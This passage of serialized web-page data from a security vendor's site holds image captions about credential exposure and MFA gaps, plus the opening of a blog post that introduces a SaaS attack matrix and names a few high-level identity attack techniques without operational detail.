post.",{"sys":176734,"__typename":1390,"title":129360,"caption":129360,"layoutMode":59,"file":176735},{"id":123928},{"url":129362,"width":55424,"height":129363},{"sys":176737,"__typename":1390,"title":176738,"caption":176739,"layoutMode":59,"file":176740},{"id":168535},"Stolen creds example","Viewing stolen credentials using the Push platform.",{"url":176741,"width":176742,"height":176743},"https://images.ctfassets.net/y1cdw1ablpvd/5BJQtkoIy6xBSgYRTzMhgh/121f277cdb6684b4441d8c0e98241077/stolen_creds_example.png",783,919,{"sys":176745,"__typename":1390,"title":176746,"caption":176747,"layoutMode":59,"file":176748},{"id":168744},"Identifying MFA gaps with Push","Identifying MFA gaps with Push.",{"url":176749,"width":176750,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/xfT8Naxqz8UHj9NfMoB3c/205590adc81044c474f91e94ed1491ba/image2.png",1797,{"sys":176752,"__typename":1390,"title":176753,"caption":176754,"layoutMode":59,"file":176755},{"id":168757},"MFA enforcement banner","Push MFA enforcement banner.",{"url":176756,"width":55424,"height":136716},"https://images.ctfassets.net/y1cdw1ablpvd/3gU1uqYKTUcYnS86z5KNcf/8d91db345ab6bbfa36ae551a4709822d/mfa_enforcement_banner_web.png",{"sys":176758,"__typename":1390,"title":176759,"caption":176760,"layoutMode":59,"file":176761},{"id":168784},"Password reuse identified and reported","Password reuse identified and reported.",{"url":176762,"width":176763,"height":282},"https://images.ctfassets.net/y1cdw1ablpvd/5gkK5ubIQzC7dAory22d7u/8d7a7791e376eae26bec69f0bc66f838/chatops_reused_password_finding_20230713.png",932,{"sys":176765,"__typename":1390,"title":176766,"caption":176767,"layoutMode":59,"file":176768},{"id":168948},"Preventing password logins where SSO is supported","Preventing password logins where SSO is supported. ",{"url":176769,"width":176770,"height":176771},"https://images.ctfassets.net/y1cdw1ablpvd/1epd5VHOflUX67ga5lZA7z/8f179c8621d9d60bd6a8879c9b0daea5/image9.png",1255,763,{"sys":176773,"__typename":1390,"title":176774,"caption":176775,"layoutMode":59,"file":176776},{"id":169004},"Controls page","Enable controls to stop account takeover with the push of a button.",{"url":176777,"width":176778,"height":176779},"https://images.ctfassets.net/y1cdw1ablpvd/7HVWDgFFdpHxzzNDpgcnLs/520e7c0a9c76bbafaa538d5f24720826/controls_page_20240808.png",3022,1716,{"sys":176781,"__typename":1414,"type":1415,"ctaText":176782,"buttonLabel":131401,"buttonColour":114626,"buttonUrl":4788},{"id":169034},"Learn more about our design philosophy and what makes our account takeover defenses uniquely effective.",{"items":176784},[],{},"Preventing account takeover with Push",{"url":176711},{"items":176789},[176790,177357,177847],{"__typename":1429,"sys":176791,"content":176792,"title":36714,"synopsis":167815,"hashTags":59,"publishedDate":167816,"slug":36715,"tagsCollection":177347,"authorsCollection":177353},{"id":33939},{"json":176793},{"data":176794,"content":176795,"nodeType":1382},{},[176796,176802,176808,176828,176833,176839,176845,176848,176854,176870,176875,176881,176914,176920,176926,176932,176938,176944,176950,176965,176972,176975,176981,176987,176993,176999,177005,177011,177017,177059,177065,177071,177077,177093,177099,177105,177111,177117,177123,177129,177135,177150,177165,177204,177210,177216,177273,177279,177282,177288,177301,177316,177322,177327,177332,177335,177341],{"data":176797,"content":176798,"nodeType":866},{},[176799],{"data":176800,"marks":176801,"value":167187,"nodeType":865},{},[],{"data":176803,"content":176804,"nodeType":866},{},[176805],{"data":176806,"marks":176807,"value":167194,"nodeType":865},{},[],{"data":176809,"content":176810,"nodeType":866},{},[176811,176814,176821,176824],{"data":176812,"marks":176813,"value":167201,"nodeType":865},{},[],{"data":176815,"content":176816,"nodeType":889},{"uri":167204},[176817],{"data":176818,"marks":176819,"value":4793,"nodeType":865},{},[176820],{"type":943},{"data":176822,"marks":176823,"value":167213,"nodeType":865},{},[],{"data":176825,"marks":176826,"value":167218,"nodeType":865},{},[176827],{"type":926},{"data":176829,"content":176832,"nodeType":912},{"target":176830},{"sys":176831},{"id":134929,"type":909,"linkType":910},[],{"data":176834,"content":176835,"nodeType":866},{},[176836],{"data":176837,"marks":176838,"value":167230,"nodeType":865},{},[],{"data":176840,"content":176841,"nodeType":866},{},[176842],{"data":176843,"marks":176844,"value":167237,"nodeType":865},{},[],{"data":176846,"content":176847,"nodeType":972},{},[],{"data":176849,"content":176850,"nodeType":981},{},[176851],{"data":176852,"marks":176853,"value":167247,"nodeType":865},{},[],{"data":176855,"content":176856,"nodeType":866},{},[176857,176860,176867],{"data":176858,"marks":176859,"value":167254,"nodeType":865},{},[],{"data":176861,"content":176862,"nodeType":889},{"uri":167257},[176863],{"data":176864,"marks":176865,"value":167263,"nodeType":865},{},[176866],{"type":943},{"data":176868,"marks":176869,"value":167267,"nodeType":865},{},[],{"data":176871,"content":176874,"nodeType":912},{"target":176872},{"sys":176873},{"id":167272,"type":909,"linkType":910},[],{"data":176876,"content":176877,"nodeType":866},{},[176878],{"data":176879,"marks":176880,"value":167280,"nodeType":865},{},[],{"data":176882,"content":176883,"nodeType":866},{},[176884,176887,176893,176896,176902,176905,176911],{"data":176885,"marks":176886,"value":167287,"nodeType":865},{},[],{"data":176888,"content":176889,"nodeType":889},{"uri":12523},[176890],{"data":176891,"marks":176892,"value":167294,"nodeType":865},{},[],{"data":176894,"marks":176895,"value":167298,"nodeType":865},{},[],{"data":176897,"content":176898,"nodeType":889},{"uri":13054},[176899],{"data":176900,"marks":176901,"value":161986,"nodeType":865},{},[],{"data":176903,"marks":176904,"value":167308,"nodeType":865},{},[],{"data":176906,"content":176907,"nodeType":889},{"uri":61637},[176908],{"data":176909,"marks":176910,"value":167315,"nodeType":865},{},[],{"data":176912,"marks":176913,"value":167319,"nodeType":865},{},[],{"data":176915,"content":176916,"nodeType":866},{},[176917],{"data":176918,"marks":176919,"value":167326,"nodeType":865},{},[],{"data":176921,"content":176922,"nodeType":1317},{},[176923],{"data":176924,"marks":176925,"value":167333,"nodeType":865},{},[],{"data":176927,"content":176928,"nodeType":866},{},[176929],{"data":176930,"marks":176931,"value":167340,"nodeType":865},{},[],{"data":176933,"content":176934,"nodeType":866},{},[176935],{"data":176936,"marks":176937,"value":167347,"nodeType":865},{},[],{"data":176939,"content":176940,"nodeType":866},{},[176941],{"data":176942,"marks":176943,"value":167354,"nodeType":865},{},[],{"data":176945,"content":176946,"nodeType":866},{},[176947],{"data":176948,"marks":176949,"value":167361,"nodeType":865},{},[],{"data":176951,"content":176952,"nodeType":866},{},[176953,176956,176962],{"data":176954,"marks":176955,"value":167368,"nodeType":865},{},[],{"data":176957,"content":176958,"nodeType":889},{"uri":131810},[176959],{"data":176960,"marks":176961,"value":167375,"nodeType":865},{},[],{"data":176963,"marks":176964,"value":167379,"nodeType":865},{},[],{"data":176966,"content":176967,"nodeType":866},{},[176968],{"data":176969,"marks":176970,"value":167387,"nodeType":865},{},[176971],{"type":926},{"data":176973,"content":176974,"nodeType":972},{},[],{"data":176976,"content":176977,"nodeType":981},{},[176978],{"data":176979,"marks":176980,"value":167397,"nodeType":865},{},[],{"data":176982,"content":176983,"nodeType":866},{},[176984],{"data":176985,"marks":176986,"value":167404,"nodeType":865},{},[],{"data":176988,"content":176989,"nodeType":866},{},[176990],{"data":176991,"marks":176992,"value":167411,"nodeType":865},{},[],{"data":176994,"content":176995,"nodeType":866},{},[176996],{"data":176997,"marks":176998,"value":167418,"nodeType":865},{},[],{"data":177000,"content":177001,"nodeType":866},{},[177002],{"data":177003,"marks":177004,"value":167425,"nodeType":865},{},[],{"data":177006,"content":177007,"nodeType":1317},{},[177008],{"data":177009,"marks":177010,"value":167432,"nodeType":865},{},[],{"data":177012,"content":177013,"nodeType":866},{},[177014],{"data":177015,"marks":177016,"value":167439,"nodeType":865},{},[],{"data":177018,"content":177019,"nodeType":1616},{},[177020,177033,177046],{"data":177021,"content":177022,"nodeType":1570},{},[177023],{"data":177024,"content":177025,"nodeType":866},{},[177026,177030],{"data":177027,"marks":177028,"value":167453,"nodeType":865},{},[177029],{"type":926},{"data":177031,"marks":177032,"value":167457,"nodeType":865},{},[],{"data":177034,"content":177035,"nodeType":1570},{},[177036],{"data":177037,"content":177038,"nodeType":866},{},[177039,177043],{"data":177040,"marks":177041,"value":167468,"nodeType":865},{},[177042],{"type":926},{"data":177044,"marks":177045,"value":167472,"nodeType":865},{},[],{"data":177047,"content":177048,"nodeType":1570},{},[177049],{"data":177050,"content":177051,"nodeType":866},{},[177052,177056],{"data":177053,"marks":177054,"value":167483,"nodeType":865},{},[177055],{"type":926},{"data":177057,"marks":177058,"value":167487,"nodeType":865},{},[],{"data":177060,"content":177061,"nodeType":866},{},[177062],{"data":177063,"marks":177064,"value":167494,"nodeType":865},{},[],{"data":177066,"content":177067,"nodeType":1317},{},[177068],{"data":177069,"marks":177070,"value":167501,"nodeType":865},{},[],{"data":177072,"content":177073,"nodeType":866},{},[177074],{"data":177075,"marks":177076,"value":167508,"nodeType":865},{},[],{"data":177078,"content":177079,"nodeType":866},{},[177080,177083,177090],{"data":177081,"marks":177082,"value":167515,"nodeType":865},{},[],{"data":177084,"content":177085,"nodeType":889},{"uri":167518},[177086],{"data":177087,"marks":177088,"value":167524,"nodeType":865},{},[177089],{"type":943},{"data":177091,"marks":177092,"value":167528,"nodeType":865},{},[],{"data":177094,"content":177095,"nodeType":866},{},[177096],{"data":177097,"marks":177098,"value":167535,"nodeType":865},{},[],{"data":177100,"content":177101,"nodeType":1317},{},[177102],{"data":177103,"marks":177104,"value":167542,"nodeType":865},{},[],{"data":177106,"content":177107,"nodeType":866},{},[177108],{"data":177109,"marks":177110,"value":167549,"nodeType":865},{},[],{"data":177112,"content":177113,"nodeType":866},{},[177114],{"data":177115,"marks":177116,"value":167556,"nodeType":865},{},[],{"data":177118,"content":177119,"nodeType":866},{},[177120],{"data":177121,"marks":177122,"value":167563,"nodeType":865},{},[],{"data":177124,"content":177125,"nodeType":1317},{},[177126],{"data":177127,"marks":177128,"value":167570,"nodeType":865},{},[],{"data":177130,"content":177131,"nodeType":866},{},[177132],{"data":177133,"marks":177134,"value":167577,"nodeType":865},{},[],{"data":177136,"content":177137,"nodeType":866},{},[177138,177141,177147],{"data":177139,"marks":177140,"value":167584,"nodeType":865},{},[],{"data":177142,"content":177143,"nodeType":889},{"uri":67859},[177144],{"data":177145,"marks":177146,"value":167591,"nodeType":865},{},[],{"data":177148,"marks":177149,"value":1615,"nodeType":865},{},[],{"data":177151,"content":177152,"nodeType":866},{},[177153,177156,177162],{"data":177154,"marks":177155,"value":167601,"nodeType":865},{},[],{"data":177157,"content":177158,"nodeType":889},{"uri":131810},[177159],{"data":177160,"marks":177161,"value":167608,"nodeType":865},{},[],{"data":177163,"marks":177164,"value":84015,"nodeType":865},{},[],{"data":177166,"content":177167,"nodeType":1616},{},[177168,177177,177186,177195],{"data":177169,"content":177170,"nodeType":1570},{},[177171],{"data":177172,"content":177173,"nodeType":866},{},[177174],{"data":177175,"marks":177176,"value":167624,"nodeType":865},{},[],{"data":177178,"content":177179,"nodeType":1570},{},[177180],{"data":177181,"content":177182,"nodeType":866},{},[177183],{"data":177184,"marks":177185,"value":167634,"nodeType":865},{},[],{"data":177187,"content":177188,"nodeType":1570},{},[177189],{"data":177190,"content":177191,"nodeType":866},{},[177192],{"data":177193,"marks":177194,"value":167644,"nodeType":865},{},[],{"data":177196,"content":177197,"nodeType":1570},{},[177198],{"data":177199,"content":177200,"nodeType":866},{},[177201],{"data":177202,"marks":177203,"value":167654,"nodeType":865},{},[],{"data":177205,"content":177206,"nodeType":866},{},[177207],{"data":177208,"marks":177209,"value":167661,"nodeType":865},{},[],{"data":177211,"content":177212,"nodeType":866},{},[177213],{"data":177214,"marks":177215,"value":167668,"nodeType":865},{},[],{"data":177217,"content":177218,"nodeType":1616},{},[177219,177237,177255],{"data":177220,"content":177221,"nodeType":1570},{},[177222],{"data":177223,"content":177224,"nodeType":866},{},[177225,177228,177234],{"data":177226,"marks":177227,"value":167681,"nodeType":865},{},[],{"data":177229,"content":177230,"nodeType":889},{"uri":67859},[177231],{"data":177232,"marks":177233,"value":166263,"nodeType":865},{},[],{"data":177235,"marks":177236,"value":14251,"nodeType":865},{},[],{"data":177238,"content":177239,"nodeType":1570},{},[177240],{"data":177241,"content":177242,"nodeType":866},{},[177243,177246,177252],{"data":177244,"marks":177245,"value":167700,"nodeType":865},{},[],{"data":177247,"content":177248,"nodeType":889},{"uri":131895},[177249],{"data":177250,"marks":177251,"value":166223,"nodeType":865},{},[],{"data":177253,"marks":177254,"value":21,"nodeType":865},{},[],{"data":177256,"content":177257,"nodeType":1570},{},[177258],{"data":177259,"content":177260,"nodeType":866},{},[177261,177264,177270],{"data":177262,"marks":177263,"value":167719,"nodeType":865},{},[],{"data":177265,"content":177266,"nodeType":889},{"uri":131844},[177267],{"data":177268,"marks":177269,"value":166243,"nodeType":865},{},[],{"data":177271,"marks":177272,"value":14251,"nodeType":865},{},[],{"data":177274,"content":177275,"nodeType":866},{},[177276],{"data":177277,"marks":177278,"value":167735,"nodeType":865},{},[],{"data":177280,"content":177281,"nodeType":972},{},[],{"data":177283,"content":177284,"nodeType":981},{},[177285],{"data":177286,"marks":177287,"value":167745,"nodeType":865},{},[],{"data":177289,"content":177290,"nodeType":866},{},[177291,177294,177298],{"data":177292,"marks":177293,"value":167752,"nodeType":865},{},[],{"data":177295,"marks":177296,"value":167757,"nodeType":865},{},[177297],{"type":926},{"data":177299,"marks":177300,"value":167761,"nodeType":865},{},[],{"data":177302,"content":177303,"nodeType":866},{},[177304,177307,177313],{"data":177305,"marks":177306,"value":167768,"nodeType":865},{},[],{"data":177308,"content":177309,"nodeType":889},{"uri":110403},[177310],{"data":177311,"marks":177312,"value":167775,"nodeType":865},{},[],{"data":177314,"marks":177315,"value":167779,"nodeType":865},{},[],{"data":177317,"content":177318,"nodeType":866},{},[177319],{"data":177320,"marks":177321,"value":167786,"nodeType":865},{},[],{"data":177323,"content":177326,"nodeType":912},{"target":177324},{"sys":177325},{"id":167791,"type":909,"linkType":910},[],{"data":177328,"content":177331,"nodeType":912},{"target":177329},{"sys":177330},{"id":167797,"type":909,"linkType":910},[],{"data":177333,"content":177334,"nodeType":972},{},[],{"data":177336,"content":177337,"nodeType":981},{},[177338],{"data":177339,"marks":177340,"value":57175,"nodeType":865},{},[],{"data":177342,"content":177343,"nodeType":866},{},[177344],{"data":177345,"marks":177346,"value":167814,"nodeType":865},{},[],{"items":177348},[177349,177351],{"sys":177350,"name":342},{"id":4642},{"sys":177352,"name":7796},{"id":7795},{"items":177354},[177355],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":177356},{"url":7804},{"__typename":1429,"sys":177358,"content":177359,"title":142829,"synopsis":142830,"hashTags":59,"publishedDate":142831,"slug":142832,"tagsCollection":177837,"authorsCollection":177843},{"id":142266},{"json":177360},{"data":177361,"content":177362,"nodeType":1382},{},[177363,177379,177395,177401,177406,177412,177418,177424,177430,177437,177453,177459,177465,177471,177476,177482,177508,177514,177520,177526,177532,177537,177543,177549,177555,177581,177586,177592,177598,177624,177629,177635,177641,177647,177653,177658,177663,177669,177675,177681,177686,177692,177698,177704,177710,177726,177739,177745,177751,177757,177762,177768,177784,177789,177795,177818,177824,177830],{"data":177364,"content":177365,"nodeType":866},{},[177366,177369,177376],{"data":177367,"marks":177368,"value":142277,"nodeType":865},{},[],{"data":177370,"content":177371,"nodeType":889},{"uri":127868},[177372],{"data":177373,"marks":177374,"value":142285,"nodeType":865},{},[177375],{"type":943},{"data":177377,"marks":177378,"value":142289,"nodeType":865},{},[],{"data":177380,"content":177381,"nodeType":866},{},[177382,177385,177392],{"data":177383,"marks":177384,"value":142296,"nodeType":865},{},[],{"data":177386,"content":177387,"nodeType":889},{"uri":54386},[177388],{"data":177389,"marks":177390,"value":142304,"nodeType":865},{},[177391],{"type":943},{"data":177393,"marks":177394,"value":142308,"nodeType":865},{},[],{"data":177396,"content":177397,"nodeType":866},{},[177398],{"data":177399,"marks":177400,"value":142315,"nodeType":865},{},[],{"data":177402,"content":177405,"nodeType":912},{"target":177403},{"sys":177404},{"id":142320,"type":909,"linkType":910},[],{"data":177407,"content":177408,"nodeType":866},{},[177409],{"data":177410,"marks":177411,"value":142328,"nodeType":865},{},[],{"data":177413,"content":177414,"nodeType":981},{},[177415],{"data":177416,"marks":177417,"value":142335,"nodeType":865},{},[],{"data":177419,"content":177420,"nodeType":866},{},[177421],{"data":177422,"marks":177423,"value":142342,"nodeType":865},{},[],{"data":177425,"content":177426,"nodeType":866},{},[177427],{"data":177428,"marks":177429,"value":142349,"nodeType":865},{},[],{"data":177431,"content":177432,"nodeType":866},{},[177433],{"data":177434,"marks":177435,"value":142357,"nodeType":865},{},[177436],{"type":70418},{"data":177438,"content":177439,"nodeType":866},{},[177440,177443,177450],{"data":177441,"marks":177442,"value":142364,"nodeType":865},{},[],{"data":177444,"content":177445,"nodeType":889},{"uri":142367},[177446],{"data":177447,"marks":177448,"value":142373,"nodeType":865},{},[177449],{"type":943},{"data":177451,"marks":177452,"value":1615,"nodeType":865},{},[],{"data":177454,"content":177455,"nodeType":981},{},[177456],{"data":177457,"marks":177458,"value":142383,"nodeType":865},{},[],{"data":177460,"content":177461,"nodeType":866},{},[177462],{"data":177463,"marks":177464,"value":142390,"nodeType":865},{},[],{"data":177466,"content":177467,"nodeType":866},{},[177468],{"data":177469,"marks":177470,"value":142397,"nodeType":865},{},[],{"data":177472,"content":177475,"nodeType":912},{"target":177473},{"sys":177474},{"id":135027,"type":909,"linkType":910},[],{"data":177477,"content":177478,"nodeType":866},{},[177479],{"data":177480,"marks":177481,"value":142409,"nodeType":865},{},[],{"data":177483,"content":177484,"nodeType":866},{},[177485,177488,177495,177498,177505],{"data":177486,"marks":177487,"value":142416,"nodeType":865},{},[],{"data":177489,"content":177490,"nodeType":889},{"uri":142419},[177491],{"data":177492,"marks":177493,"value":142425,"nodeType":865},{},[177494],{"type":943},{"data":177496,"marks":177497,"value":142429,"nodeType":865},{},[],{"data":177499,"content":177500,"nodeType":889},{"uri":142432},[177501],{"data":177502,"marks":177503,"value":142438,"nodeType":865},{},[177504],{"type":943},{"data":177506,"marks":177507,"value":6719,"nodeType":865},{},[],{"data":177509,"content":177510,"nodeType":981},{},[177511],{"data":177512,"marks":177513,"value":142448,"nodeType":865},{},[],{"data":177515,"content":177516,"nodeType":866},{},[177517],{"data":177518,"marks":177519,"value":142455,"nodeType":865},{},[],{"data":177521,"content":177522,"nodeType":866},{},[177523],{"data":177524,"marks":177525,"value":142462,"nodeType":865},{},[],{"data":177527,"content":177528,"nodeType":866},{},[177529],{"data":177530,"marks":177531,"value":142469,"nodeType":865},{},[],{"data":177533,"content":177536,"nodeType":912},{"target":177534},{"sys":177535},{"id":142474,"type":909,"linkType":910},[],{"data":177538,"content":177539,"nodeType":981},{},[177540],{"data":177541,"marks":177542,"value":142482,"nodeType":865},{},[],{"data":177544,"content":177545,"nodeType":866},{},[177546],{"data":177547,"marks":177548,"value":142489,"nodeType":865},{},[],{"data":177550,"content":177551,"nodeType":981},{},[177552],{"data":177553,"marks":177554,"value":142496,"nodeType":865},{},[],{"data":177556,"content":177557,"nodeType":866},{},[177558,177561,177568,177571,177578],{"data":177559,"marks":177560,"value":142503,"nodeType":865},{},[],{"data":177562,"content":177563,"nodeType":889},{"uri":142506},[177564],{"data":177565,"marks":177566,"value":142506,"nodeType":865},{},[177567],{"type":943},{"data":177569,"marks":177570,"value":142515,"nodeType":865},{},[],{"data":177572,"content":177573,"nodeType":889},{"uri":142518},[177574],{"data":177575,"marks":177576,"value":142524,"nodeType":865},{},[177577],{"type":943},{"data":177579,"marks":177580,"value":84015,"nodeType":865},{},[],{"data":177582,"content":177585,"nodeType":912},{"target":177583},{"sys":177584},{"id":142532,"type":909,"linkType":910},[],{"data":177587,"content":177588,"nodeType":981},{},[177589],{"data":177590,"marks":177591,"value":142540,"nodeType":865},{},[],{"data":177593,"content":177594,"nodeType":866},{},[177595],{"data":177596,"marks":177597,"value":142547,"nodeType":865},{},[],{"data":177599,"content":177600,"nodeType":866},{},[177601,177604,177611,177614,177621],{"data":177602,"marks":177603,"value":142554,"nodeType":865},{},[],{"data":177605,"content":177606,"nodeType":889},{"uri":142557},[177607],{"data":177608,"marks":177609,"value":142557,"nodeType":865},{},[177610],{"type":943},{"data":177612,"marks":177613,"value":142566,"nodeType":865},{},[],{"data":177615,"content":177616,"nodeType":889},{"uri":142569},[177617],{"data":177618,"marks":177619,"value":142569,"nodeType":865},{},[177620],{"type":943},{"data":177622,"marks":177623,"value":142578,"nodeType":865},{},[],{"data":177625,"content":177628,"nodeType":912},{"target":177626},{"sys":177627},{"id":142583,"type":909,"linkType":910},[],{"data":177630,"content":177631,"nodeType":981},{},[177632],{"data":177633,"marks":177634,"value":142591,"nodeType":865},{},[],{"data":177636,"content":177637,"nodeType":866},{},[177638],{"data":177639,"marks":177640,"value":142598,"nodeType":865},{},[],{"data":177642,"content":177643,"nodeType":866},{},[177644],{"data":177645,"marks":177646,"value":142605,"nodeType":865},{},[],{"data":177648,"content":177649,"nodeType":866},{},[177650],{"data":177651,"marks":177652,"value":142612,"nodeType":865},{},[],{"data":177654,"content":177657,"nodeType":912},{"target":177655},{"sys":177656},{"id":142617,"type":909,"linkType":910},[],{"data":177659,"content":177662,"nodeType":912},{"target":177660},{"sys":177661},{"id":142623,"type":909,"linkType":910},[],{"data":177664,"content":177665,"nodeType":866},{},[177666],{"data":177667,"marks":177668,"value":142631,"nodeType":865},{},[],{"data":177670,"content":177671,"nodeType":981},{},[177672],{"data":177673,"marks":177674,"value":142638,"nodeType":865},{},[],{"data":177676,"content":177677,"nodeType":866},{},[177678],{"data":177679,"marks":177680,"value":142645,"nodeType":865},{},[],{"data":177682,"content":177685,"nodeType":912},{"target":177683},{"sys":177684},{"id":142650,"type":909,"linkType":910},[],{"data":177687,"content":177688,"nodeType":866},{},[177689],{"data":177690,"marks":177691,"value":142658,"nodeType":865},{},[],{"data":177693,"content":177694,"nodeType":866},{},[177695],{"data":177696,"marks":177697,"value":142665,"nodeType":865},{},[],{"data":177699,"content":177700,"nodeType":981},{},[177701],{"data":177702,"marks":177703,"value":142672,"nodeType":865},{},[],{"data":177705,"content":177706,"nodeType":866},{},[177707],{"data":177708,"marks":177709,"value":142679,"nodeType":865},{},[],{"data":177711,"content":177712,"nodeType":866},{},[177713,177716,177723],{"data":177714,"marks":177715,"value":142686,"nodeType":865},{},[],{"data":177717,"content":177718,"nodeType":889},{"uri":142689},[177719],{"data":177720,"marks":177721,"value":142689,"nodeType":865},{},[177722],{"type":943},{"data":177724,"marks":177725,"value":142698,"nodeType":865},{},[],{"data":177727,"content":177728,"nodeType":866},{},[177729,177732,177736],{"data":177730,"marks":177731,"value":142705,"nodeType":865},{},[],{"data":177733,"marks":177734,"value":142710,"nodeType":865},{},[177735],{"type":926},{"data":177737,"marks":177738,"value":142714,"nodeType":865},{},[],{"data":177740,"content":177741,"nodeType":981},{},[177742],{"data":177743,"marks":177744,"value":57175,"nodeType":865},{},[],{"data":177746,"content":177747,"nodeType":866},{},[177748],{"data":177749,"marks":177750,"value":142727,"nodeType":865},{},[],{"data":177752,"content":177753,"nodeType":866},{},[177754],{"data":177755,"marks":177756,"value":142734,"nodeType":865},{},[],{"data":177758,"content":177761,"nodeType":912},{"target":177759},{"sys":177760},{"id":142739,"type":909,"linkType":910},[],{"data":177763,"content":177764,"nodeType":866},{},[177765],{"data":177766,"marks":177767,"value":142747,"nodeType":865},{},[],{"data":177769,"content":177770,"nodeType":866},{},[177771,177774,177781],{"data":177772,"marks":177773,"value":142754,"nodeType":865},{},[],{"data":177775,"content":177776,"nodeType":889},{"uri":54386},[177777],{"data":177778,"marks":177779,"value":142762,"nodeType":865},{},[177780],{"type":943},{"data":177782,"marks":177783,"value":142766,"nodeType":865},{},[],{"data":177785,"content":177788,"nodeType":912},{"target":177786},{"sys":177787},{"id":142771,"type":909,"linkType":910},[],{"data":177790,"content":177791,"nodeType":981},{},[177792],{"data":177793,"marks":177794,"value":142779,"nodeType":865},{},[],{"data":177796,"content":177797,"nodeType":866},{},[177798,177801,177805,177808,177815],{"data":177799,"marks":177800,"value":142786,"nodeType":865},{},[],{"data":177802,"marks":177803,"value":142791,"nodeType":865},{},[177804],{"type":926},{"data":177806,"marks":177807,"value":142795,"nodeType":865},{},[],{"data":177809,"content":177810,"nodeType":889},{"uri":67859},[177811],{"data":177812,"marks":177813,"value":142803,"nodeType":865},{},[177814],{"type":943},{"data":177816,"marks":177817,"value":1615,"nodeType":865},{},[],{"data":177819,"content":177820,"nodeType":866},{},[177821],{"data":177822,"marks":177823,"value":142813,"nodeType":865},{},[],{"data":177825,"content":177826,"nodeType":866},{},[177827],{"data":177828,"marks":177829,"value":142820,"nodeType":865},{},[],{"data":177831,"content":177832,"nodeType":866},{},[177833],{"data":177834,"marks":177835,"value":142828,"nodeType":865},{},[177836],{"type":70418},{"items":177838},[177839,177841],{"sys":177840,"name":342},{"id":4642},{"sys":177842,"name":7796},{"id":7795},{"items":177844},[177845],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":177846},{"url":11425},{"__typename":1429,"sys":177848,"content":177850,"title":178628,"synopsis":178629,"hashTags":59,"publishedDate":178630,"slug":178631,"tagsCollection":178632,"authorsCollection":178638},{"id":177849},"6VZQJzQ2FNetGNMEjiuXB2",{"json":177851},{"data":177852,"content":177853,"nodeType":1382},{},[177854,177861,177868,177875,177882,177889,177896,177902,177919,177926,177969,177976,177983,178023,178043,178050,178057,178064,178084,178102,178109,178142,178149,178168,178175,178182,178212,178232,178239,178244,178251,178258,178265,178272,178279,178286,178293,178300,178307,178314,178321,178328,178344,178351,178420,178427,178434,178463,178478,178485,178492,178499,178532,178552,178559,178566,178573,178580,178599,178616,178622],{"data":177855,"content":177856,"nodeType":866},{},[177857],{"data":177858,"marks":177859,"value":177860,"nodeType":865},{},[],"Our goal at Push is simple — to stop identity attacks. Today, the vast majority of identity vulnerabilities exist in the context of SaaS apps. ",{"data":177862,"content":177863,"nodeType":866},{},[177864],{"data":177865,"marks":177866,"value":177867,"nodeType":865},{},[],"The reasons for this are clear: Security teams have reduced central oversight and control over SaaS apps than they are used to, these apps exist in large numbers per company, and the identities that are used to access these apps are... complicated, to say the least. Securing hundreds of apps, with thousands of associated identities, is therefore no mean feat. ",{"data":177869,"content":177870,"nodeType":866},{},[177871],{"data":177872,"marks":177873,"value":177874,"nodeType":865},{},[],"Securing SaaS use means building controls that are easy to use, easy to understand — and ultimately effective. Not just effective against the hand-wavy concept of “SaaS attacks,” but specific techniques — the most common techniques that are likely to cause real damage.",{"data":177876,"content":177877,"nodeType":866},{},[177878],{"data":177879,"marks":177880,"value":177881,"nodeType":865},{},[],"To talk about this, we need to have a shared understanding of what these techniques are. To get that conversation going, we’ve pulled together all the techniques we're aware of, and our research team has even added a bunch of new ones.",{"data":177883,"content":177884,"nodeType":981},{},[177885],{"data":177886,"marks":177887,"value":177888,"nodeType":865},{},[],"The SaaS attack matrix",{"data":177890,"content":177891,"nodeType":866},{},[177892],{"data":177893,"marks":177894,"value":177895,"nodeType":865},{},[],"We’ve taken inspiration from the MITRE ATT&CK framework (certainly intended as the sincerest form of flattery), but wanted to make a conscious break away from the endpoint-focused ATT&CK techniques and instead focus on techniques that are SaaS-specific. In fact, these techniques don’t touch endpoints (so they bypass EDR) or customer networks (so they bypass network detection) — so we’re calling them networkless attacks.",{"data":177897,"content":177901,"nodeType":912},{"target":177898},{"sys":177899},{"id":177900,"type":909,"linkType":910},"768Zv5gTVHyu5rbzJAzL4F",[],{"data":177903,"content":177904,"nodeType":866},{},[177905,177909,177916],{"data":177906,"marks":177907,"value":177908,"nodeType":865},{},[],"You can find more detailed descriptions of these techniques (and hopefully PRs for some we missed) on ",{"data":177910,"content":177911,"nodeType":889},{"uri":13171},[177912],{"data":177913,"marks":177914,"value":11198,"nodeType":865},{},[177915],{"type":943},{"data":177917,"marks":177918,"value":1615,"nodeType":865},{},[],{"data":177920,"content":177921,"nodeType":866},{},[177922],{"data":177923,"marks":177924,"value":177925,"nodeType":865},{},[],"Since we’re not targeting endpoints, let’s talk about the new targets: The accounts/identities on SaaS apps. We found it was useful to think about these identities not as standalone isolated islands — but much more like a graph; less a single web-server on the internet and more like many Windows endpoints on an Active Directory. ",{"data":177927,"content":177928,"nodeType":866},{},[177929,177933,177941,177944,177953,177957,177965],{"data":177930,"marks":177931,"value":177932,"nodeType":865},{},[],"You can leverage this access to an identity on a trusted platform to target (so laterally move or escalate privilege to) other users or identities. For example, attacks like using access to SaaS apps to ",{"data":177934,"content":177935,"nodeType":889},{"uri":134372},[177936],{"data":177937,"marks":177938,"value":177940,"nodeType":865},{},[177939],{"type":943},"phish other employees through comments",{"data":177942,"marks":177943,"value":4988,"nodeType":865},{},[],{"data":177945,"content":177947,"nodeType":889},{"uri":177946},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/im_user_spoofing/description.md",[177948],{"data":177949,"marks":177950,"value":177952,"nodeType":865},{},[177951],{"type":943},"spoofing users on IM platforms",{"data":177954,"marks":177955,"value":177956,"nodeType":865},{},[]," to social engineer them there — or perhaps ",{"data":177958,"content":177959,"nodeType":889},{"uri":169808},[177960],{"data":177961,"marks":177962,"value":177964,"nodeType":865},{},[177963],{"type":943},"backdooring links",{"data":177966,"marks":177967,"value":177968,"nodeType":865},{},[]," in documents.",{"data":177970,"content":177971,"nodeType":866},{},[177972],{"data":177973,"marks":177974,"value":177975,"nodeType":865},{},[],"In this case, unusually, it’s not the data in these hundreds of SaaS apps that create risk, and you need to consider low-risk (from a data perspective) apps as a vector to pivot to higher-risk apps in your 